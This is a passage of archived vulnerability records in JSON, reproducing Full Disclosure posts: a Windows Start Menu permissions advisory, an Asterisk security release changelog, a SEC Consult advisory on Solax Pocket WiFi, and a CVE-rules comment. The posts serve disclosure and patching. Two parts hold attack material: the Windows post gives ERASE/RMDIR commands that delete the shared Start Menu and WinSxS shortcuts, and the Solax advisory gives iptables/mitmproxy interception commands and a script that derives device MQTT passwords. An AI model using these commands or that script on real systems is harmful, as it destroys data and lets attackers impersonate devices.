  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

{
  "containers": {
    "cna": {
      "affected": [
        {
          "product": "Defense in depth",
          "vendor": "unknown",
          "versions": [
            {
              "status": "affected",
              "version": "unknown"
            }
          ]
        }
      ],
      "credits": [
        {
          "lang": "en",
          "type": "finder",
          "value": "Stefan Kanthak via Fulldisclosure"
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "Hi @ll,\n\nthe following is a condensed form of\n\u003chttps://skanthak.hier-im-netz.de/whispers.html#whisper3\u003e and\n\u003chttps://skanthak.hier-im-netz.de/whispers.html#whisper4\u003e.\n\nWindows Vista moved the shared start menu from \"%ALLUSERSPROFILE%\\Start Menu\\\"\nto \"%ProgramData%\\Microsoft\\Windows\\Start Menu\\\", with some shortcuts (*.lnk)\n\"reflected\" from the (immutable) component store below %SystemRoot%\\WinSxS\\\n\nJFTR: \"reflection\" is M$FT lingo for hardlink into the component store.\n\nBefore this move only Administrators had write access to the shared start menu;\nafterwards at least the user account(s) created during Windows setup (OOBE,\nout of box experience) are granted DELETE and DELETE_CHILD access permission.\n\nDemonstration\n~~~~~~~~~~~~~\n\nLog on to an arbitrary (unprivileged) user account, start the command processor\nand run the following command line to display the access permissions of the\nshared start menu:\n\nICACLS.EXE \"%ProgramData%\\Microsoft\\Windows\\Start Menu\"\n\n| C:\\ProgramData\\Microsoft\\Windows\\Start Menu COMPUTER\\User:(OI)(CI)(IO)(DE,DC)\n|                                             S-1-5-21-xxx-yyy-zzz-1000:(OI)(CI)(IO)(DE,DC)\n|                                             COMPUTER\\Administrator:(OI)(CI)(IO)(DE,DC)\n|                                             NT AUTHORITY\\SYSTEM:(I)(OI)(CI)(F)\n|                                             BUILTIN\\Administrators:(I)(OI)(CI)(F)\n|                                             BUILTIN\\Users:(I)(OI)(CI)(RX)\n|                                             Everyone:(I)(OI)(CI)(RX)\n\nInstead of \"COMPUTER\" you get your computer name (see the environment variables\n%COMPUTERNAME% and %USERDOMAIN%); instead of \"User\" and \"Administrator\" you get\nthe first/primary and the localized administrator account name.\n\n\"(OI)(CI)(IO)(DE,DC)\" means \"inherit DELETE and DELETE CHILD access permission\nto all objects/files and containers/directories below this directory\".\n\nRun the following command line to confirm the latter:\n\nICACLS.EXE \"%ProgramData%\\Microsoft\\Windows\\Start Menu\" /C /Q /T | FINDSTR.EXE /L \"%ProgramData% (DE,DC)\"\n\n\"Thanks\" to the braindead \"reflection\" of shortcuts (generally: files) from\nthe component store their access permissions are changed too:\n\nICACLS.EXE \"%SystemRoot%\\WinSxS\\*.lnk\" /C /Q /T | FINDSTR.EXE /L \"%SystemRoot% (DE,DC)\"\n\nExploit\n~~~~~~~\n\n\"Thanks\" to the DELETE_CHILD access permission some unprivileged users can\nsince NINETEEN years remove the shared start menu COMPLETELY!\n\nERASE /A:HS /F /Q /S \"%ProgramData%\\Microsoft\\Windows\\Start Menu\\desktop.ini\"\nERASE /F /Q /S \"%ProgramData%\\Microsoft\\Windows\\Start Menu\\*.lnk\"\nRMDIR /Q /S \"%ProgramData%\\Microsoft\\Windows\\Start Menu\"\n\n\"Thanks\" to the braindead \"reflection\" of shortcuts (generally: files) from\nthe component store the same unprivileged users can also erase them there\nand destroy the integrity of the component store:\n\nERASE /F /Q /S \"%SystemRoot%\\WinSxS\\*.lnk\"\n\nFix\n~~~\n\nRemove the SUPERFLUOUS access permissions (needs SE_RESTORE_PRIVILEGE):\n\nICACLS.EXE \"%ProgramData%\\Microsoft\\Windows\\Start Menu\" /C /Q /Remove:g \"%USERDOMAIN%\\Administrator\" \n\"%USERDOMAIN%\\%USERNAME%\"\n\"%USERDOMAIN%\\User\" *S-1-5-21-xxx-yyy-zzz-RID ... /T\nICACLS.EXE \"%SystemRoot%\\WinSxS\\*.lnk\" /C /Q /Remove:g \"%USERDOMAIN%\\Administrator\" \"%USERDOMAIN%\\%USERNAME%\" \n\"%USERDOMAIN%\\User\"\n*S-1-5-21-xxx-yyy-zzz-RID ... /T\n\nstay tuned, and far away from unprotected system( file)s\nStefan Kanthak\n\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://seclists.org/fulldisclosure/"
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-09-08T07:57:42Z",
        "orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
        "shortName": "VULNARCHIVE"
      },
      "references": [
        {
          "tags": [
            "technical-description"
          ],
          "url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Jan/18"
        },
        {
          "tags": [
            "technical-description"
          ],
          "url": "https://seclists.org/fulldisclosure/2026/Jan/18"
        },
        {
          "url": "https://nmap.org/mailman/listinfo/fulldisclosure"
        },
        {
          "url": "https://seclists.org/fulldisclosure/"
        },
        {
          "url": "https://skanthak.hier-im-netz.de/whispers.html#whisper3"
        },
        {
          "url": "https://skanthak.hier-im-netz.de/whispers.html#whisper4"
        }
      ],
      "source": {
        "defect": [
          "https://seclists.org/fulldisclosure/2026/Jan/18"
        ],
        "discovery": "EXTERNAL"
      },
      "title": "Defense in depth -- the Microsoft way (part 95): the (shared) \"Start Menu\" is dispensable",
      "x_gcve": [
        {
          "recordType": "advisory",
          "relationships": [],
          "vulnId": "GCVE-1988-2026-0210",
          "x_vulnarchive": {
            "archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Jan/18",
            "automated": true,
            "contentSha256": "90808ff96b90d2d6ba702873cd50ec365f9d1d6578264c614a3f016730149ca0",
            "evidenceScore": 6,
            "messageId": "",
            "originalUrl": "https://seclists.org/fulldisclosure/2026/Jan/18",
            "policy": "vulnarchive-1",
            "sourceFormat": "text/html",
            "sourcePublishedAt": "2026-01-08T11:40:10Z"
          }
        }
      ]
    }
  },
  "cveMetadata": {
    "assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
    "assignerShortName": "VULNARCHIVE",
    "datePublished": "2026-09-08T07:57:42Z",
    "dateUpdated": "2026-09-08T07:57:42Z",
    "state": "PUBLISHED",
    "vulnId": "GCVE-1988-2026-0210"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

{
  "containers": {
    "cna": {
      "affected": [
        {
          "product": "Certified Asterisk Security",
          "vendor": "unknown",
          "versions": [
            {
              "status": "affected",
              "version": "unknown"
            }
          ]
        }
      ],
      "credits": [
        {
          "lang": "en",
          "type": "finder",
          "value": "Asterisk Development Team via Fulldisclosure"
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "The Asterisk Development Team would like to announce security release  \nCertified Asterisk 20.7-cert9.\n\nThe release artifacts are available for immediate download at  \nhttps://github.com/asterisk/asterisk/releases/tag/certified-20.7-cert9\nand\nhttps://downloads.asterisk.org/pub/telephony/certified-asterisk\n\nRepository: https://github.com/asterisk/asterisk\nTag: certified-20.7-cert9\n\n\n## Change Log for Release asterisk-certified-20.7-cert9\n\n### Links:\n\n - [Full \nChangeLog](https://downloads.asterisk.org/pub/telephony/certified-asterisk/releases/ChangeLog-certified-20.7-cert9.html)\n  \n - [GitHub Diff](https://github.com/asterisk/asterisk/compare/certified-20.7-cert8...certified-20.7-cert9)  \n - [Tarball](https://downloads.asterisk.org/pub/telephony/certified-asterisk/asterisk-certified-20.7-cert9.tar.gz)  \n - [Downloads](https://downloads.asterisk.org/pub/telephony/certified-asterisk)  \n\n### Summary:\n\n- Commits: 4\n- Commit Authors: 2\n- Issues Resolved: 0\n- Security Advisories Resolved: 4\n  - [GHSA-85x7-54wr-vh42](https://github.com/asterisk/asterisk/security/advisories/GHSA-85x7-54wr-vh42): Asterisk xml.c \nuses unsafe XML_PARSE_NOENT leading to potential XXE Injection\n  - [GHSA-rvch-3jmx-3jf3](https://github.com/asterisk/asterisk/security/advisories/GHSA-rvch-3jmx-3jf3): ast_coredumper \nrunning as root sources ast_debug_tools.conf from /etc/asterisk; potentially leading to privilege escalation\n  - [GHSA-v6hp-wh3r-cwxh](https://github.com/asterisk/asterisk/security/advisories/GHSA-v6hp-wh3r-cwxh): The Asterisk \nembedded web server\u0027s /httpstatus page echos user supplied values(cookie and query string) without sanitization\n  - [GHSA-xpc6-x892-v83c](https://github.com/asterisk/asterisk/security/advisories/GHSA-xpc6-x892-v83c): ast_coredumper \nruns as root, and writes gdb init file to world writeable folder; leading to potential privilege escalation \n\n### User Notes:\n\n- #### ast_coredumper: check ast_debug_tools.conf permissions\n  ast_debug_tools.conf must be owned by root and not be\n  writable by other users or groups to be used by ast_coredumper or\n  by ast_logescalator or ast_loggrabber when run as root.\n\n\n### Upgrade Notes:\n\n- #### http.c: Change httpstatus to default disabled and sanitize output.\n  To prevent possible security issues, the `/httpstatus` page\n  served by the internal web server is now disabled by default.  To explicitly\n  enable it, set `enable_status=yes` in http.conf.\n\n\n### Developer Notes:\n\n\n### Commit Authors:\n\n- George Joseph: (2)\n- Mike Bradeen: (2)\n\n## Issue and Commit Detail:\n\n### Closed Issues:\n\n  - !GHSA-85x7-54wr-vh42: Asterisk xml.c uses unsafe XML_PARSE_NOENT leading to potential XXE Injection\n  - !GHSA-rvch-3jmx-3jf3: ast_coredumper running as root sources ast_debug_tools.conf from /etc/asterisk; potentially \nleading to privilege escalation\n  - !GHSA-v6hp-wh3r-cwxh: The Asterisk embedded web server\u0027s /httpstatus page echos user supplied values(cookie and \nquery string) without sanitization\n  - !GHSA-xpc6-x892-v83c: ast_coredumper runs as root, and writes gdb init file to world writeable folder; leading to \npotential privilege escalation \n\n### Commits By Author:\n\n- #### George Joseph (2):\n\n- #### Mike Bradeen (2):\n\n### Commit List:\n\n-  xml.c: Replace XML_PARSE_NOENT with XML_PARSE_NONET for xmlReadFile.\n-  ast_coredumper: check ast_debug_tools.conf permissions\n-  http.c: Change httpstatus to default disabled and sanitize output.\n-  ast_coredumper: create gdbinit file with restrictive permissions\n\n### Commit Details:\n\n#### xml.c: Replace XML_PARSE_NOENT with XML_PARSE_NONET for xmlReadFile.\n  Author: George Joseph\n  Date:   2026-01-15\n\n  The xmlReadFile XML_PARSE_NOENT flag, which allows parsing of external\n  entities, could allow a potential XXE injection attack.  Replacing it with\n  XML_PARSE_NONET, which prevents network access, is safer.\n\n  Resolves: #GHSA-85x7-54wr-vh42\n\n#### ast_coredumper: check ast_debug_tools.conf permissions\n  Author: Mike Bradeen\n  Date:   2026-01-15\n\n  Prevent ast_coredumper from using ast_debug_tools.conf files that are\n  not owned by root or are writable by other users or groups.\n\n  Prevent ast_logescalator and ast_loggrabber from doing the same if\n  they are run as root.\n\n  Resolves: #GHSA-rvch-3jmx-3jf3\n\n  UserNote: ast_debug_tools.conf must be owned by root and not be\n  writable by other users or groups to be used by ast_coredumper or\n  by ast_logescalator or ast_loggrabber when run as root.\n\n#### http.c: Change httpstatus to default disabled and sanitize output.\n  Author: George Joseph\n  Date:   2026-01-15\n\n  To address potential security issues, the httpstatus page is now disabled\n  by default and the echoed query string and cookie output is html-escaped.\n\n  Resolves: #GHSA-v6hp-wh3r-cwxh\n\n  UpgradeNote: To prevent possible security issues, the `/httpstatus` page\n  served by the internal web server is now disabled by default.  To explicitly\n  enable it, set `enable_status=yes` in http.conf.\n\n#### ast_coredumper: create gdbinit file with restrictive permissions\n  Author: Mike Bradeen\n  Date:   2026-01-15\n\n  Modify gdbinit to use the install command with explicit permissions (-m 600)\n  when creating the .ast_coredumper.gdbinit file. This ensures the file is\n  created with restricted permissions (readable/writable only by the owner)\n  to avoid potential privilege escalation.\n\n  Resolves: #GHSA-xpc6-x892-v83c\n\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://seclists.org/fulldisclosure/"
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-09-08T07:57:42Z",
        "orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
        "shortName": "VULNARCHIVE"
      },
      "references": [
        {
          "tags": [
            "technical-description"
          ],
          "url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Feb/5"
        },
        {
          "tags": [
            "technical-description"
          ],
          "url": "https://seclists.org/fulldisclosure/2026/Feb/5"
        },
        {
          "url": "https://downloads.asterisk.org/pub/telephony/certified-asterisk"
        },
        {
          "url": "https://downloads.asterisk.org/pub/telephony/certified-asterisk/asterisk-certified-20.7-cert9.tar.gz"
        },
        {
          "url": "https://downloads.asterisk.org/pub/telephony/certified-asterisk/releases/ChangeLog-certified-20.7-cert9.html"
        },
        {
          "url": "https://github.com/asterisk/asterisk"
        },
        {
          "url": "https://github.com/asterisk/asterisk/compare/certified-20.7-cert8...certified-20.7-cert9"
        },
        {
          "url": "https://github.com/asterisk/asterisk/releases/tag/certified-20.7-cert9"
        },
        {
          "url": "https://github.com/asterisk/asterisk/security/advisories/GHSA-85x7-54wr-vh42"
        },
        {
          "url": "https://github.com/asterisk/asterisk/security/advisories/GHSA-rvch-3jmx-3jf3"
        },
        {
          "url": "https://github.com/asterisk/asterisk/security/advisories/GHSA-v6hp-wh3r-cwxh"
        },
        {
          "url": "https://github.com/asterisk/asterisk/security/advisories/GHSA-xpc6-x892-v83c"
        },
        {
          "url": "https://nmap.org/mailman/listinfo/fulldisclosure"
        },
        {
          "url": "https://seclists.org/fulldisclosure/"
        }
      ],
      "source": {
        "defect": [
          "https://seclists.org/fulldisclosure/2026/Feb/5"
        ],
        "discovery": "EXTERNAL"
      },
      "title": "Certified Asterisk Security Release certified-20.7-cert9",
      "x_gcve": [
        {
          "recordType": "advisory",
          "relationships": [],
          "vulnId": "GCVE-1988-2026-0205",
          "x_vulnarchive": {
            "archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Feb/5",
            "automated": true,
            "contentSha256": "47cc89db2f736f21c4fc8e71de5d98b1336a66cd540cedb7c6c3ae137abfcc30",
            "evidenceScore": 7,
            "messageId": "",
            "originalUrl": "https://seclists.org/fulldisclosure/2026/Feb/5",
            "policy": "vulnarchive-1",
            "sourceFormat": "text/html",
            "sourcePublishedAt": "2026-02-05T16:45:57Z"
          }
        }
      ]
    }
  },
  "cveMetadata": {
    "assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
    "assignerShortName": "VULNARCHIVE",
    "datePublished": "2026-09-08T07:57:42Z",
    "dateUpdated": "2026-09-08T07:57:42Z",
    "state": "PUBLISHED",
    "vulnId": "GCVE-1988-2026-0205"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

{
  "containers": {
    "cna": {
      "affected": [
        {
          "product": "SEC Consult SA-20260212-0",
          "vendor": "unknown",
          "versions": [
            {
              "status": "affected",
              "version": "unknown"
            }
          ]
        }
      ],
      "credits": [
        {
          "lang": "en",
          "type": "finder",
          "value": "SEC Consult Vulnerability Lab via Fulldisclosure"
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "SEC Consult Vulnerability Lab Security Advisory \u003c 20260212-0 \u003e\n=======================================================================\n              title: Multiple Vulnerabilities\n\u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 product: Various Solax Power Pocket WiFi models\n\u00a0vulnerable version: See section below\n\u00a0 \u00a0 \u00a0 fixed version: See section below\n\u00a0 \u00a0 \u00a0 \u00a0 \u00a0CVE number: CVE-2025-15573, CVE-2025-15574, CVE-2025-15575\n\u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0impact: High\n           homepage:https://www.solaxpower.com\n\u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 found: 2025-04-15\n                 by: Stefan Viehb\u00f6ck\n                     SEC Consult Vulnerability Lab\n\n                     An integrated part of SEC Consult, an Atos business\n                     Europe | Asia\n\n                     https://www.sec-consult.com\n\n=======================================================================\n\nVendor description:\n-------------------\n\"Founded in 2012, SolaX has rapidly risen to become a global leader in\nphotovoltaic energy storage systems and solutions. Leading the way in\nindustry innovation, SolaX introduced Asia\u2019s first energy storage inverter\nand has successfully launched five major product series over the years.\"\n\nSource:https://www.solaxpower.com/about/\n\n\nBusiness recommendation:\n------------------------\nThe vendor provides patches for the affected Pocket models which can be\nobtained throw their customers\u0027 Solax Cloud accounts and using the Pocket\nfirmware upgrade function there. They should be installed immediately if\nthe device is not already patched.\n\nSEC Consult highly recommends to perform a thorough security review of the\nproduct conducted by security professionals to identify and resolve potential\nfurther security issues.\n\n\nVulnerability overview/description:\n-----------------------------------\n1) Missing Certificate Validation for SolaX Cloud MQTT Connection (CVE-2025-15573)\nThe device does not validate the server certificate when connecting to the\nSolaX Cloud MQTTS server hosted in the Alibaba Cloud\n(mqtt001.solaxcloud.com, TCP 8883). This allows attackers in a\nman-in-the-middle position to act as the legitimate MQTT server and issuing\narbitrary commands to devices.\n\nLarge scale man-in-the-middle attacks are feasible for attackers with the\ncapabilities to execute attacks such as BGP hijacking, DNS spoofing or\nintercepting communication at the backbone level (e.g. nation state).\n\nPossible threats are:\n- Disrupting the electric grid by repeatedly starting/stopping inverters.\n- Getting initial access to the victim\u0027s local networks by flashing malicious\n  firmware on the dongles.\n- Causing physical damage by flashing malicious firmware on the inverters\n  (disabling firmware-based safety checks + introducing malicious behavior like\n  overvoltage, frequency mismatches, etc.).\n\n\n2) Insecure Credential Generation for Solax Cloud MQTT Connection (CVE-2025-15574)\nWhen connecting to the Solax Cloud MQTT server the username is the\n\"registration number\", which is the 10 character string printed on the device /\nthe QR code on the device. The password is derived from the \"registration\nnumber\" using a proprietary XOR/transposition algorithm.\nAttackers with the knowledge of the registration numbers can connect to the\nMQTT server and impersonate the dongle / inverters.\n\n\n3) Missing Firmware Authenticity Checks (CVE-2025-15575)\nThe firmware update functionality does not verify the authenticity of the\nsupplied firmware update files. This allows attackers to flash malicious\nfirmware update files on the device.\n\n\nProof of concept:\n-----------------\n1) Missing Certificate Validation for SolaX Cloud MQTTS Connection (CVE-2025-15573)\nThe following commands can be used to intercept the communication between a device\nand the Solax Cloud.\n\niptables -A FORWARD -i eth0 -o wlan0 -m state --state RELATED,ESTABLISHED -j ACCEPT\niptables -A FORWARD -i wlan0 -o eth0 -j ACCEPT\niptables -t nat -A PREROUTING -i wlan0 -p tcp -m tcp --dport 8883 -j REDIRECT --to-ports 8080\nmitmproxy --mode transparent --set connection_strategy=lazy --set tls_version_client_min=TLS1_2 --set \ntls_version_server_min=TLS1_2 -k -v\n\n\n2) Insecure Credential Generation for Solax Cloud MQTT Connection (CVE-2025-15574)\nThe following python script implements the password derivation given the\nregistration number:\n\npython ```\nimport re\n\ndef generate_solax_password(registration_number):\n    registration_number = bytearray(registration_number.encode())\n    password = bytearray(8)\n\n    password[0] = registration_number[7]\n    password[1] = registration_number[4]\n    password[2] = registration_number[3]\n    password[3] = registration_number[6]\n    password[4] = registration_number[5]\n    password[5] = registration_number[2]\n    password[6] = registration_number[9]\n    password[7] = registration_number[8]\n\n    for i in range(len(password)):\n\n        xored = password[i] ^ 0xb\n        if re.match(r\u0027[A-Z0-9]\u0027, chr(xored)):\n            password[i] = xored\n        else:\n            print(\u0027else case\u0027)\n            password[i] = ord(\u0027A\u0027)\n\n    return password.decode(\u0027ascii\u0027)\n\nregistration_number = \"SM3XXXXXXX\"\npassword = generate_solax_password(registration_number)\nprint(registration_number,password)\n```\n\n3) Missing Firmware Authenticity Checks (CVE-2025-15575)\nNo proof-of-concept is provided. Initial analysis of the firmware update\nfunctionality does not show any cryptographic checks (e.g. digital signature\nchecks) on the supplied firmware update files.\nFurthermore, ESP32 security features such as secure boot are not used.\n\n\nVulnerable / tested versions:\n-----------------------------\nThe following version has been tested on a Solax Power Pocket WiFi V3:\n* 618.00415.00_Pocket_WIFI_V3.015.02_20240122\n\nIt is likely that other SolaX / QCells products that directly connect to the\nSolaX Cloud are affected. This includes inverter Wi-Fi/LAN/LTE dongles,\nAdapter Box, EV Charger, etc.\n\nThe vendor provided the following further affected products:\n1. Pocket WiFi 3.0\n2. Pocket WiFi+LAN\n3. Pocket WiFi+4GM\n4. Pocket WiFi+LAN 2.0\n5. Pocket WiFi 4.0\n\n\nVendor contact timeline:\n------------------------\n2025-05-05: Contacting vendor throughservice () solaxpower com; no response.\n2025-05-16: Contacting vendor through multiple other email addresses from their\n            website.\n2025-05-20: Asking a direct contact at SolaX Power for a security contact.\n2025-05-27: Vendor security team responds with PGP key.\n2025-05-28: Sending encrypted advisory.\n2025-06-09: Vendor responds with analysis of the issues and that\n            a new firmware will be released by the end of July 2025.\n2025-06-12: Asking a few follow-up questions, which other products are affected,\n            and whether manual update is necessary or automatically pushed.\n            No response.\n2025-07-10: Asking vendor again \u0026 regarding patch availability. No response.\n2026-02-09: Following up again, setting release date to 26th February, reserving\n            CVE numbers.\n2026-02-10: Vendor provides detailed model information with updated firmware versions.\n            Setting disclosure date to 12th February as everything is fixed\n            according to the vendor.\n2026-02-26: Public release of advisory.\n\n\nSolution:\n---------\nThe vendor provides patches for the affected Pocket models which can be\nobtained throw their customer\u0027s Solax Cloud account and using the Pocket\nfirmware upgrade function there.\n\nAs of February 10, 2026, the firmware versions for each affected Pocket model\nare as follows according to the vendor:\n1. Pocket WiFi 3.0 \u2013 (3.022.03)\n2. Pocket WiFi+LAN \u2013 (1.009.02)\n3. Pocket WiFi+4GM \u2013 (1.005.05)\n4. Pocket WiFi+LAN 2.0 \u2013 (006.06)\n5. Pocket WiFi 4.0 \u2013 (003.03)\n\nThe vendor provided the following further information regarding EV Charger\nand Adapter Box:\n1. EV Charger: The WiFi module firmware supports digital signature, but only one-way\n   authentication is implemented.\n2. Adapter Box: The WiFi module firmware supports two-way authentication and digital\n   signature.\n\n\nWorkaround:\n-----------\nNone\n\n\nAdvisory URL:\n-------------\nhttps://sec-consult.com/vulnerability-lab/\n\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nSEC Consult Vulnerability Lab\nAn integrated part of SEC Consult, an Atos business\nEurope | Asia\n\nAbout SEC Consult Vulnerability Lab\nThe SEC Consult Vulnerability Lab is an integrated part of SEC Consult, an\nAtos business. It ensures the continued knowledge gain of SEC Consult in the\nfield of network and application security to stay ahead of the attacker. The\nSEC Consult Vulnerability Lab supports high-quality penetration testing and\nthe evaluation of new offensive and defensive technologies for our customers.\nHence our customers obtain the most current information about vulnerabilities\nand valid recommendation about the risk profile of new technologies.\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\nInterested to work with the experts of SEC Consult?\nSend us your applicationhttps://sec-consult.com/career/\n\nInterested in improving your cyber security with the experts of SEC Consult?\nContact our local officeshttps://sec-consult.com/contact/\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nMail: security-research at sec-consult dot com\nWeb:https://www.sec-consult.com\nBlog:https://blog.sec-consult.com\nX:https://x.com/sec_consult\n\nEOF Stefan Viehb\u00f6ck / @2026\n\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://seclists.org/fulldisclosure/"
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-09-08T07:57:41Z",
        "orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
        "shortName": "VULNARCHIVE"
      },
      "references": [
        {
          "tags": [
            "technical-description"
          ],
          "url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Feb/17"
        },
        {
          "tags": [
            "technical-description"
          ],
          "url": "https://seclists.org/fulldisclosure/2026/Feb/17"
        },
        {
          "url": "https://blog.sec-consult.com"
        },
        {
          "url": "https://nmap.org/mailman/listinfo/fulldisclosure"
        },
        {
          "url": "https://sec-consult.com/career/"
        },
        {
          "url": "https://sec-consult.com/contact/"
        },
        {
          "url": "https://sec-consult.com/vulnerability-lab/"
        },
        {
          "url": "https://seclists.org/fulldisclosure/"
        },
        {
          "url": "https://www.sec-consult.com"
        },
        {
          "url": "https://www.solaxpower.com"
        },
        {
          "url": "https://www.solaxpower.com/about/"
        },
        {
          "url": "https://x.com/sec_consult"
        }
      ],
      "source": {
        "defect": [
          "https://seclists.org/fulldisclosure/2026/Feb/17"
        ],
        "discovery": "EXTERNAL"
      },
      "title": "SEC Consult SA-20260212-0 :: Multiple Vulnerabilities in various Solax Power Pocket WiFi models",
      "x_gcve": [
        {
          "recordType": "reference",
          "relationships": [
            {
              "destId": "CVE-2025-15573",
              "type": "related"
            },
            {
              "destId": "CVE-2025-15574",
              "type": "related"
            },
            {
              "destId": "CVE-2025-15575",
              "type": "related"
            }
          ],
          "vulnId": "GCVE-1988-2026-0198",
          "x_vulnarchive": {
            "archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Feb/17",
            "automated": true,
            "contentSha256": "cd8d781dce175c3440706b839510881b64b8732ad88629f0cd8b2b1b37b5db90",
            "evidenceScore": 7,
            "messageId": "",
            "originalUrl": "https://seclists.org/fulldisclosure/2026/Feb/17",
            "policy": "vulnarchive-1",
            "sourceFormat": "text/html",
            "sourcePublishedAt": "2026-02-12T10:53:04Z"
          }
        },
        {
          "recordType": "advisory",
          "vulnId": "gcve-1988-2026-0198"
        }
      ]
    }
  },
  "cveMetadata": {
    "assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
    "assignerShortName": "VULNARCHIVE",
    "datePublished": "2026-09-08T07:57:41Z",
    "dateUpdated": "2026-09-08T07:57:41Z",
    "state": "PUBLISHED",
    "vulnId": "GCVE-1988-2026-0198"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

{
  "containers": {
    "cna": {
      "affected": [
        {
          "product": "unknown",
          "vendor": "unknown",
          "versions": [
            {
              "status": "affected",
              "version": "unknown"
            }
          ]
        }
      ],
      "credits": [
        {
          "lang": "en",
          "type": "finder",
          "value": "Art Manion via Fulldisclosure"
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "Hi,\n\nthe vulnerabilities are no longer considered eligible for CVE tracking, despite being real, independently discovered, \nresponsibly disclosed, and acknowledged by the vendor.\nCVE IDs *can* be assigned for SaaS or similarly \"cloud only\" software.  For a period of time, there was a restriction \nthat only the provider could make or request such an assignment.  But the current CVE rules remove this restriction:\n\n4.2.3 CNAs MUST NOT consider the type of technology (e.g., cloud, on-premises, artificial intelligence, machine \nlearning) as the sole basis for determining assignment.\n\nIt would have been acceptable (even preferred) to leave CVE-2025-34411 and CVE-2025-34412 published and identify them \nas affecting an \"exclusively-hosted-service:\"\n\n5.1.11.1 (A CVE Record) MUST use the \u201cexclusively-hosted-service\u201d tag when all known Products listed in the CVE Record \nexist only as fully hosted services. If the Vulnerability affects both hosted services and on-premises Products, then \nthis tag MUST NOT be used.\n\nRules: https://www.cve.org/resourcessupport/allresources/cnarules\n\nRegards,\n\n - Art\n\n\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://seclists.org/fulldisclosure/"
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-09-08T07:57:41Z",
        "orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
        "shortName": "VULNARCHIVE"
      },
      "references": [
        {
          "tags": [
            "technical-description"
          ],
          "url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Jan/17"
        },
        {
          "tags": [
            "technical-description"
          ],
          "url": "https://seclists.org/fulldisclosure/2026/Jan/17"
        },
        {
          "url": "https://nmap.org/mailman/listinfo/fulldisclosure"
        },
        {
          "url": "https://seclists.org/fulldisclosure/"
        },
        {
          "url": "https://www.cve.org/resourcessupport/allresources/cnarules"
        }
      ],
      "source": {
        "defect": [
          "https://seclists.org/fulldisclosure/2026/Jan/17"
        ],
        "discovery": "EXTERNAL"
      },
      "title": "Re: Multiple Security Misconfigurations and Customer Enumeration Exposure in Convercent Whistleblowing Platform (EQS Group)",
      "x_gcve": [
        {
          "recordType": "reference",
          "relationships": [
            {
              "destId": "CVE-2025-34411",
              "type": "related"
            },
            {
              "destId": "CVE-2025-34412",
              "type": "related"
            }
          ],
          "vulnId": "GCVE-1988-2026-0197",
          "x_vulnarchive": {
            "archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Jan/17",
            "automated": true,
            "contentSha256": "d187d28957b37a8564bdb303fce20e7735192773826c8c243907db2920484f09",
            "evidenceScore": 5,
            "messageId": "",
            "originalUrl": "https://seclists.org/fulldisclosure/2026/Jan/17",
            "policy": "vulnarchive-1",
            "sourceFormat": "text/html",
            "sourcePublishedAt": "2026-01-08T18:26:44Z"
          }
        },
        {
          "recordType": "advisory",
          "vulnId": "gcve-1988-2026-0197"
        }
      ]
    }
  },
  "cveMetadata": {
    "assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
    "assignerShortName": "VULNARCHIVE",
    "datePublished": "2026-09-08T07:57:41Z",
    "dateUpdated": "2026-09-08T07:57:41Z",
    "state": "PUBLISHED",
    "vulnId": "GCVE-1988-2026-0197"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

{
  "containers": {
    "cna": {
      "affected": [
        {
          "product": "unknown",
          "vendor": "unknown",
          "versions": [
            {
              "status": "affected",
              "version": "unknown"
            }
          ]
        }
      ],
      "credits": [
        {
          "lang": "en",
          "type": "finder",
          "value": "Yuffie Kisaragi via Fulldisclosure"
        }
      ],
      "descriptions": [
        {
          "lang": "en",
